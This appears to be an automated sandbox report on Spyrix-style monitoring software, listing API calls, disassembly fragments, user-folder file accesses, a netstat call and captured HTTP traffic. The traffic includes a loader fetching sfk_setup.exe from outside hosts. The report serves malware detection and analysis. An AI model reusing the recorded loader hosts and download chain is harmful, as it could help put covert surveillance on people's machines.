Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D3A91C strtol,strchr,strlen,strncpy,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strchr,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strchr,strlen,CertOpenStore,CryptStringToBinaryA,CertFindCertificateInStore,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,GetLastError,	67_2_00D3A91C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D39BC0 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	67_2_00D39BC0

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: -----BEGIN PUBLIC KEY-----		67_2_00D38FA0
Source: qrl.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: https://dashboard.spyrix.com/login

HTTP Parser: Number of links: 0

Source: https://dashboard.spyrix.com/login

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://dashboard.spyrix.com/login

HTTP Parser: Title: Welcome Back does not match URL

Source: https://dashboard.spyrix.com/login

HTTP Parser: <input type="password" .../> found

Source: https://dashboard.spyrix.com/login

HTTP Parser: No <meta name="author".. found

Source: https://dashboard.spyrix.com/login

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.170:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.168:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49751 version: TLS 1.2

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0040AC68 FindFirstFileW,FindClose,	53_2_0040AC68
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0040A700 lstrcpynW,lstrcpynW,lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	53_2_0040A700
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033C75E8 FindFirstFileA,	53_2_033C75E8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033C76C4 FindFirstFileA,GetLastError,	53_2_033C76C4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, edx	67_2_00D2B510
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then cmp dword ptr [edi+04h], ebp	67_2_00D248F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push esi	67_2_00D220F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then add eax, dword ptr [ecx+10h]	67_2_00D8C0F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then movzx edx, byte ptr [ecx]	67_2_00D85060
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ecx, eax	67_2_00D7F270
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push dword ptr [ebx]	67_2_00D333B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D26370
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edi, dword ptr [ebx]	67_2_00D27360
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov byte ptr [edx], cl	67_2_00D65360
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D274E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D276C1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 0000000Ch	67_2_00D336A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000019h	67_2_00D336A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27641
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D277DB
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D2774F
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27771
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, dword ptr [edi-04h]	67_2_00D7E8A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D278AB
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D2785D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27828
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D279B7
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27959
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27924
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, ebp	67_2_00D3DAD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	67_2_00D3DAD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then test ebp, ebp	67_2_00D38AE0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27A9B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27A5E
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [edi]	67_2_00D15A00
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then test ebp, ebp	67_2_00D38BD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27B8D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27BAC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, dword ptr [esi]	67_2_00D53C90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then cmp esi, edi	67_2_00D66C00
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebp, dword ptr [ebx+58h]	67_2_00D7ADE0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	67_2_00D27D8F
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edx, dword ptr [esp+74h]	67_2_00D3BD50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push dword ptr [edi]	67_2_00D68EF0

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e

Source: global traffic

HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s108 HTTP/1.1Host: filedn.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 67_2_00D473D0 recv,send,WSAGetLastError,

67_2_00D473D0

Source: global traffic	HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404 HTTP/1.1Host: filedn.comUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s108 HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /loader/link.php?prg_id=sfk HTTP/1.1Host: cdnbaynet.comUser-Agent: sfk-dst-loader-2.0Accept: /
Source: global traffic	HTTP traffic detected: GET /download/sfk/sfk_setup.exe HTTP/1.1Host: swtb-download.spyrix-sfk.comUser-Agent: sfk-dst-loader-2.0Accept: /
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cT+9XekNm5bPwLf&MD=3TyOahlY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cT+9XekNm5bPwLf&MD=3TyOahlY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-004f4025.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-93c74fef.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn.js HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-004f4025.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn.js HTTP/1.1Host: dashboard.spyrix.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-08b2a987.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dashboard.spyrix.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Nunito-Regular-73dcaa51.woff2 HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-5393c481.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal-86d79a8a.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button-ca236c00.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate-fd9601a7.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText-ead06ca1.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-1178777c.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
